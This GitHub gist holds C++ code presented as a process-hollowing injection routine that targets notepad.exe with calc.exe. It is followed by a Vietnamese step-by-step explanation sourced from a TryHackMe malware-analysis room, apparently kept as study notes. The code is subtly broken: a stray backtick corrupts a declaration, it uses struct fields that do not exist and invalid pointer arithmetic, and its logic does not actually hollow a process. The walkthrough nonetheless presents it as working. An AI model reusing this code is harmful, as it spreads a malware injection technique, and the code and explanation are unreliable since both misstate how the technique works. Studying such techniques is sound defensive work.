Skip to content

Instantly share code, notes, and snippets.

@aleister1102
Created April 4, 2024 07:25
Show Gist options
  • Save aleister1102/d9ac2eedde2b7570d1218b04b0b8989f to your computer and use it in GitHub Desktop.
Save aleister1102/d9ac2eedde2b7570d1218b04b0b8989f to your computer and use it in GitHub Desktop.
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>

using namespace std;

bool HollowProcess(char *szSourceProcessName, char *szTargetProcessName)
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hSnapshot, &pe))
    {
        do
        {
            if (_stricmp((const char*)pe.szExeFile, szTargetProcessName) == 0)
            {
                H`ANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
                if (hProcess == NULL)
                {
                    return false;
                }

                IMAGE_DOS_HEADER idh;
                IMAGE_NT_HEADERS inth;
                IMAGE_SECTION_HEADER ish;

                DWORD dwRead = 0;

                ReadProcessMemory(hProcess, (LPVOID)pe.modBaseAddr, &idh, sizeof(idh), &dwRead);
                ReadProcessMemory(hProcess, (LPVOID)(pe.modBaseAddr + idh.e_lfanew), &inth, sizeof(inth), &dwRead);

                LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, inth.OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

                if (lpBaseAddress == NULL)
                {
                    return false;
                }

                if (!WriteProcessMemory(hProcess, lpBaseAddress, (LPVOID)pe.modBaseAddr, inth.OptionalHeader.SizeOfHeaders, &dwRead))
                {
                    return false;
                }

                for (int i = 0; i < inth.FileHeader.NumberOfSections; i++)
                {
                    ReadProcessMemory(hProcess, (LPVOID)(pe.modBaseAddr + idh.e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))), &ish, sizeof(ish), &dwRead);
                    WriteProcessMemory(hProcess, (LPVOID)((DWORD)lpBaseAddress + ish.VirtualAddress), (LPVOID)((DWORD)pe.modBaseAddr + ish.PointerToRawData), ish.SizeOfRawData, &dwRead);
                }

                DWORD dwEntrypoint = (DWORD)pe.modBaseAddr + inth.OptionalHeader.AddressOfEntryPoint;
                DWORD dwOffset = (DWORD)lpBaseAddress - inth.OptionalHeader.ImageBase + dwEntrypoint;

                if (!WriteProcessMemory(hProcess, (LPVOID)(lpBaseAddress + dwEntrypoint - (DWORD)pe.modBaseAddr), &dwOffset, sizeof(DWORD), &dwRead))
                {
                    return false;
                }

                CloseHandle(hProcess);

                break;
            }
        } while (Process32Next(hSnapshot, &pe));
    }

    CloseHandle(hSnapshot);

    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));

    if (!CreateProcess(NULL, szSourceProcessName, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
    {
        return false;
    }

    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;

    if (!GetThreadContext(pi.hThread, &ctx))
    {
        return false;
    }

    ctx.Eax = (DWORD)pi.lpBaseOfImage + ((IMAGE_DOS_HEADER*)pi.lpBaseOfImage)->e_lfanew + ((IMAGE_NT_HEADERS*)(((BYTE*)pi.lpBaseOfImage) + ((IMAGE_DOS_HEADER*)pi.lpBaseOfImage)->e_lfanew))->OptionalHeader.AddressOfEntryPoint;

    if (!SetThreadContext(pi.hThread, &ctx))
    {
        return false;
    }

    ResumeThread(pi.hThread);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);

    return true;
}

int main()
{
    char* szSourceProcessName = "C:\\\\Windows\\\\System32\\\\calc.exe";
    char* szTargetProcessName = "notepad.exe";

    if (HollowProcess(szSourceProcessName, szTargetProcessName))
    {
        cout << "Process hollowing successful" << endl;
    }
    else
    {
        cout << "Process hollowing failed" << endl;
    }

    return 0;
}

Phân tích mã nguồn trên:

  1. Lấy danh sách các process trên hệ thống sử dụng hàm CreateToolhelp32Snapshot, Process32FirstProcess32Next:

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(PROCESSENTRY32);
    
    if (Process32First(hSnapshot, &pe))
    {
    	do
    	{
    		if (_stricmp((const char*)pe.szExeFile, szTargetProcessName) == 0) //...
    	} while (Process32Next(hSnapshot, &pe));
    }
  2. Nếu process có tên match với szTargetProcessName (target process) thì nó sẽ mở một handle đến process đó thông qua hàm OpenProcess:

    if (_stricmp((const char*)pe.szExeFile, szTargetProcessName) == 0)
    {
    	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
    	if (hProcess == NULL)
    	{
    		return false;
    	}
    }
  3. Đọc các header (IMAGE_DOS_HEADER IMAGE_NT_HEADERS ) của target process sử dụng ReadProcessMemory:

    IMAGE_DOS_HEADER idh;
    IMAGE_NT_HEADERS inth;
    IMAGE_SECTION_HEADER ish;
    
    DWORD dwRead = 0;
    
    ReadProcessMemory(hProcess, (LPVOID)pe.modBaseAddr, &idh, sizeof(idh), &dwRead);
    ReadProcessMemory(hProcess, (LPVOID)(pe.modBaseAddr + idh.e_lfanew), &inth, sizeof(inth), &dwRead);
  4. Cấp phát vùng nhớ bằng hàm VirtualAllocEx dựa trên thông tin của các header vừa đọc:

     LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, inth.OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    if (lpBaseAddress == NULL)
    {
    	return false;
    }
  5. Ghi các header và các section vào vùng nhớ đã được cấp phát:

    if (!WriteProcessMemory(hProcess, lpBaseAddress, (LPVOID)pe.modBaseAddr, inth.OptionalHeader.SizeOfHeaders, &dwRead))
    {
    	return false;
    }
    
    for (int i = 0; i < inth.FileHeader.NumberOfSections; i++)
    {
    	ReadProcessMemory(hProcess, (LPVOID)(pe.modBaseAddr + idh.e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))), &ish, sizeof(ish), &dwRead);
    	WriteProcessMemory(hProcess, (LPVOID)((DWORD)lpBaseAddress + ish.VirtualAddress), (LPVOID)((DWORD)pe.modBaseAddr + ish.PointerToRawData), ish.SizeOfRawData, &dwRead);
    }
  6. Tính offset của entry point ở trong vùng nhớ mới:

    DWORD dwEntrypoint = (DWORD)pe.modBaseAddr + inth.OptionalHeader.AddressOfEntryPoint;
    DWORD dwOffset = (DWORD)lpBaseAddress - inth.OptionalHeader.ImageBase + dwEntrypoint;
  7. Cập nhật entry point của process bằng cách dùng hàm WriteProcessMemory:

    if (!WriteProcessMemory(hProcess, (LPVOID)(lpBaseAddress + dwEntrypoint - (DWORD)pe.modBaseAddr), &dwOffset, sizeof(DWORD), &dwRead))
    {
    	return false;
    }
  8. Đóng handle bằng hàm CloseHandle.

  9. Tạo mới source process với tên là giá trị của szSourceProcessName trong trạng thái treo sử dụng hàm CreateProcess với flag là CREATE_SUSPENDED:

    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    
    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    
    if (!CreateProcess(NULL, szSourceProcessName, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
    {
    	return false;
    }
  10. Lấy thread context của tiến trình bị treo bằng hàm GetThreadContext:

    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    
    if (!GetThreadContext(pi.hThread, &ctx))
    {
    	return false;
    }
  11. Trỏ thanh ghi eax của context đến entry point của source process vừa tạo:

    ctx.Eax = (DWORD)pi.lpBaseOfImage + ((IMAGE_DOS_HEADER*)pi.lpBaseOfImage)->e_lfanew + ((IMAGE_NT_HEADERS*)(((BYTE*)pi.lpBaseOfImage) + ((IMAGE_DOS_HEADER*)pi.lpBaseOfImage)->e_lfanew))->OptionalHeader.AddressOfEntryPoint;
  12. Cập nhật context vào thread bị treo bằng hàm SetThreadContext:

    if (!SetThreadContext(pi.hThread, &ctx))
    {
    	return false;
    }
  13. Resume thread bị treo bằng hàm ResumeThread.

  14. Đóng handle đến thread và process.

  15. Trong hàm main, mã độc thực hiện inject calc.exe vào notepad.exe.

  16. Nếu process được inject thành công thì sẽ thông báo "Process hollowing successful". Còn nếu thất bại thì sẽ in ra "Process hollowing failed".

Nguồn: https://tryhackme.com/r/room/advancedstaticanalysis

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment